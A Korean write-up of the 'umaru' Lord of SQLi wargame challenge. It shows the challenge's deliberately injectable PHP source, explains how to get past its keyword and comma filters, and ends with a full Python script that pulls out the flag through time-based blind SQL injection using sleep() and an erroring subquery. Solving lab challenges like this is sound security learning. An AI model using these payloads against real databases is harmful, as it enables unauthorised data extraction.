<?php include "./config.php"; login_chk(); dbconnect(); function reset_flag(){ $new_flag = substr(md5(rand(10000000,99999999)."qwer".rand(10000000,99999999)."asdf".rand(10000000,99999999)),8,16); $chk = @mysql_fetch_array(mysql_query("select id from prob_umaru where id='{$_SESSION[los_id]}'")); if(!$chk[id]) mysql_query("insert into prob_umaru values('{$_SESSION[los_id]}','{$new_flag}')"); else mysql_query("update prob_umaru set flag='{$new_flag}' where id='{$_SESSION[los_id]}'"); echo "reset ok"; highlight_file(__FILE__); exit(); } if(!$_GET[flag]){ highlight_file(__FILE__); exit; } if(preg_match('/prob|_|\./i', $_GET[flag])) exit("No Hack ~_~"); if(preg_match('/id|where|order|limit|,/i', $_GET[flag])) exit("HeHe"); if(strlen($_GET[flag])>100) exit("HeHe"); $realflag = @mysql_fetch_array(mysql_query("select flag from prob_umaru where id='{$_SESSION[los_id]}'")); @mysql_query("create temporary table prob_umaru_temp as select * from prob_umaru where id='{$_SESSION[los_id]}'"); @mysql_query("update prob_umaru_temp set flag={$_GET[flag]}"); $tempflag = @mysql_fetch_array(mysql_query("select flag from prob_umaru_temp")); if((!$realflag[flag]) || ($realflag[flag] != $tempflag[flag])) reset_flag(); if($realflag[flag] === $_GET[flag]) solve("umaru"); ?>
id where order limit, 뭐 쓸수있는게 없고 100자 넘어도 안된다
살살하다가 갑자기 살벌하게 튀어 나온 느낌이라 문제보고 좀 벙쪘는데 힘내서...
보면 reset_flag 가 실행되면 무조건 플래그가 리셋되는데 이걸 막아야된다.
reset_flag가 실행되는 시점은 단 한군데 뿐인데, 이 친구를 저지할 수 있는 시점이라고 하면 update prob_umaru... 밖에 없다. 여기서 고의로 에러를 발생시켜줘야한다. (소스상 처리가 되지 않은 PHP는 에러가 나면 반드시 죽기 때문이다)
그래서 flag에 처음엔 빈값을 넣음과 동시에 @t:=flag를 이용해 강제로 업데이트치고 패스해볼까 했는데 , 가 필터링되고 있었다. 하..
에러도 내면서 참일땐 비교도 해야 된다니 어려운일이 아닐 수가 없다. 일단 select 가 아닌 update에서의 sqli 이기 때문에 sleep 을 사용해야 되는건 맞는것 같고, 어떻게 if를 bypass할지 검색해보다가 그냥 실행만 되면 된다는거 같다. 그래서 사용을 xor 연산을 의미하는 ^ 를 사용하는데, 사실 다른 연산자는 안찾아봤지만 아마 시프트 연산도 가능할 것 같단 생각이다 "<<" 라던지..
우선 페이로드를 다 작성했는데 정말 16자리에서 끊어지는지 아닌지 확인하기 위해 다음과 같이 쿼리를 짰다
for j in range(1,200): start_time = time.time() data = "(select sleep(case when length(flag) like {} then '20' else '0' END)^(select '1' union select '2'))".format(j) data = requests.utils.quote(data) #print data r = requests.get(url+'?flag='+data,headers=headers) times = time.time() - start_time print j, times if times > 20: loop = j break print loop
16에서 정확히 멈춘다. (네트워크가 불안해서 자꾸 이상한 값이 나와서 아예 큰 값을 줘버렸는데 적당히 판단들 하시길..)
이 코드를 조금만 수정해서 이제 페이로드를 따는데 진짜 골때리는 일이 벌어졌다
9자리쯤 캐치를 했는데 글쎄 100자리 제한에 걸리는것이다. 즉, like 로 비교를 걸었더니 플래그에 들어갈 string도 length 체크 대상에 들어가는것이다. 다시 말하면, payload를 16자를 뺀 83~4자안에서 끝내야 된다는것이다.... 아뿔싸가 아닐 수 없다. 어느 부분을 줄여야 하나... 8자 정도만 더 줄이면 되는데! 라고 적어놓고 보니 일일히 ' 를 해놨길래 다 뺐다. 아마 거의 자리수를 끝까지 이용하는 payload가 아닐까 싶다..
#!/usr/bin/env python # -*- coding: utf8 -*- import requests, time headers = {'Host': 'los.eagle-jump.org', 'Cookie': 'PHPSESSID=;'} url = "http://los.eagle-jump.org/umaru_.php" string = "1234567890abcdefghijklmnopqrstuvwxyz" loop = 0 pw = '' for j in range(1,200): start_time = time.time() data = "(select sleep(case when length(flag) like {} then '20' else '0' END)^(select '1' union select '2'))".format(j) data = requests.utils.quote(data) #print data r = requests.get(url+'?flag='+data,headers=headers) times = time.time() - start_time print j, times if times > 20: loop = j break print loop for i in range(1,loop+1): for j in string: start_time = time.time() data = "(select sleep(case when flag like '{}{}%' then 2 else 0 END)^(select 1 union select 2))".format(pw,j) data = requests.utils.quote(data) #print data r = requests.get(url+'?flag='+data,headers=headers) times = time.time() - start_time print j, times if times > 2: pw = pw + str(j) print "[!] found",pw break print pw